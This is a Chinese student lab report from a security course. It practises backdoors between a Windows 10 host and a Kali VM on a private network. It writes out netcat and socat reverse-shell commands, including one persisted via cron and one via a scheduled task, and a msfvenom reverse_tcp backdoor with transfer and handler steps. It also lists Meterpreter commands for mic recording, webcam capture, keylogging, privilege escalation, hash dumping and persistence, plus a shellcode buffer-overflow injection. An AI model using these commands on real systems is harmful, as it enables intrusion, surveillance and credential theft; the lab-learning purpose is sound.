实验内容
(1)使用netcat获取主机操作Shell,cron启动 (0.5分)
(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
一、使用netcat获取主机操作Shell,cron启动
使用netcat工具获取远程主机的shell
实验准备
因为我是用的win10平台以及linux虚拟机,kali linux本身有netcat,就只需要从附件中下载netcat至win10
实验步骤
一、关闭linux、Windows10防火墙
1.关闭win10防火墙
右键网络
,点击属性
,打开以下界面
点击左下角windows defender防火墙
,进入以下界面
点击左侧启动或关闭windows defender 防火墙
,设置关闭即可
2.关闭linux防火墙
安装ufw:apt-get install ufw
关闭:ufw disable # To disable the firewall
开启:ufw enable # To disable the firewall
二、以虚拟机为监听端,获取主机shell&&以主机为监听端,获取虚拟机shell
1.虚拟机获取主机 windows shell
kali端输入:nc -l -p 5120
开启监听
主机端连入kali:ncat.exe -e cmd.exe 192.168.5.250 5120
,此处ip为虚拟机ip
然后可以看到,kali连入windows shell,输入dir测试
2.主机获取虚拟机shell
主机输入:ncat.exe -l -p 5120
,开启监听
虚拟机端连入主机:nc 192.168.5.245 5120 -e /bin/sh
此处ip为主机ip
在win端输入ls进行测试
三、windows为攻击端,使用cron定时启动,获取linux shell
win端开启监听:ncat.exe -l -p 5120
linux端输入:crontab -e
,初次进入选 3,输入i编辑,
输入43 * * * * /bin/netcat 192.168.5.245 5120 -e /bin/sh
,表示在每小时的第43分钟反向连接主机的5120端口
然后按Esc``:wq
保存退出
到时间后输入ls
测试
二、使用socat获取主机操作Shell, 任务计划启动
实验准备
在附件中下载实验工具socat.exe
实验步骤
-
在任务计划程序中设置通过socat.exe打开cmd.exe
-
在kali linux中输入socat - tcp:192.168.5.245:5120
右键此电脑
,点击管理
,进入任务计划程序
点击创建任务
,填入名称
新建触发器,设定开启时间
新建操作,在程序或脚本中填入socat.exe
的存储路径,在添加参数中填入:tcp-listen:5120 exec:cmd.exe,pty,stderr
,然后确定
等待socat.exe窗口弹出
接下来,在linux端输入:socat - tcp:192.168.5.245:5120
连入windows shell
三、使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell
-
kali生成后门程序植入win
-
kali通过后门程序在MSF工具中对主机进行操作
- kali端通过MSF生成可执行的后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.5.250 LPORT=5120 -f exe > 5120backdoor.exe
LHOST填入虚拟机ip,LPORT填入接入端口号
- win端接受已生成的后门程序
ncat.exe -l 5120 > 5120backdoor.exe
- kali 连接主机的5120端口传输文件
5120backdoor.exe
nc 192.168.5.245 5120 < 5120backdoor.exe
可以看到文件夹中有 5120backdoor.exe
kali端打开MSF: msfconsole
输入以下指令:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
设置接入ip set LHOST 192.168.5.245
设置接入端口 set LPORT 5120
exploit
开始监听
- 在win10端运行5120backdoor.exe,可以在kali linux端看到已连接,输入dir可以看到已获取shell
四、使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 获取主机音频
record_mic
截取一段主音频
- 获取主机摄像头
webcam_snap
获取主机摄像头并拍照
- 获取主机击键记录
keyscan_start
开始记录击键
keyscan_dump
读取击键记录
keyscan_stop
停止读取击键记录
- 获取主机截屏
screenshot
- 提权
getuid
查看当前用户
getsystem
进行提权
通过几条指令看看提权是否成功
- 导出主机密码
run post/windows/gather/hashdump
- 在主机中安装meterpreter
run persistence -h
似乎失败了。。。
再试试 run persistence -U -i 5 -p 443 -r 192.168.5.245
成功了!
五、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
-
准备好 shellcode
-
找到 pwn1 返回地址
-
通过 MSF meterpreter 进行连接,获取 shell
准备shellcode
我在老师给的教程Shellcode基础中找到一个能下载 shellcode 的网站
找到了一个能进行反弹式连接的shellcode
从数组中提取shellcode机器码为
x31xc9x31xdbxf7xe3xfexc1xfexc3xfexc3x66xb8x67x01xcdx80x93xfexc9x51xb2x16xb9x82x03x03x04x81xe9x03x03x03x03x51x66x68x11x5cx66x6ax02x8dx0cx24x66xb8x6ax01xcdx80x31xc9xb1x03x31xc0xb0x3fxfexc9xcdx80x75xf6x99xf7xe2x8dx08xbex2fx2fx73x68xbfx2fx62x69x6ex51x56x57x8dx1cx24xb0x0bxcdx80
- 根据实验一的流程,我找到了 pwn1 shellcode 返回地址为
0xffffd6c0
构建要注入的shellcode:
perl -e 'print "A" x 32;print "xc0xd6xffxffx31xc9x31xdbxf7xe3xfexc1xfexc3xfexc3x66xb8x67x01xcdx80x93xfexc9x51xb2x16xb9x82x03x03x04x81xe9x03x03x03x03x51x66x68x11x5cx66x6ax02x8dx0cx24x66xb8x6ax01xcdx80x31xc9xb1x03x31xc0xb0x3fxfexc9xcdx80x75xf6x99xf7xe2x8dx08xbex2fx2fx73x68xbfx2fx62x69x6ex51x56x57x8dx1cx24xb0x0bxcdx80"' > input_shell
- MSF meterpreter 获取 shell
输入 (cat input_shell;cat) | ./pwn1
进行注入,回车看到乱码显示
打开另一个终端,启动 MSF 控制台 msfconsole
准备开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
连接成功!
思考与总结
基础问题回答
- (1)例举你能想到的一个后门进入到你系统中的可能方式?
网页下载文件时,要求用下载器,进行捆绑下载,捆绑文件中含有后门程序,程序通过隐藏进入系统
- (2)例举你知道的后门如何启动起来(win及linux)的方式?
开机自启动(通过修改注册表、植入主机自启动文件夹)
定时启动(设定固定)
- (3)Meterpreter有哪些给你映像深刻的功能?
Meterpreter能够窃听受害机的许多隐秘信息,如密码、机密文件、击键记录;同时还能通过受害机摄像头对受害机使用者的所处场所进行拍照,获取更多隐私信息。
- (4)如何发现自己有系统有没有被安装后门?
通过杀软定时对计算机进行病毒检测;查看计算机日志,有没有可疑的记录
实验中遇到的问题
在内容一使用nc,主机作为监听端,获取虚拟机shell时,连接不成功
原因:主机防火墙未关闭,在我关闭主机防火墙后连接成功
实验总结
这次实验操作较多,知识性没有第一次实验强,但仍然出现了很多问题,很多因为指令输错,检查不到位而出现的结果错误,但我都一一解决。这次实验我学会了使用netcat、socat、MSF meterpreter三种工具进行后门实践,对现在的后门程序的功能有了更加深入的了解,同时也提高了我对于网络安全重要性的认识,以及学习这门课程的兴趣。如今我还只接触到了网络安全攻击方式的冰山一角,但单单meterpreter工具的功能就如此强大,我觉得我需要更多的知识来丰富自己的网络安全意识,以应对未来更多防不胜防的网络安全攻击。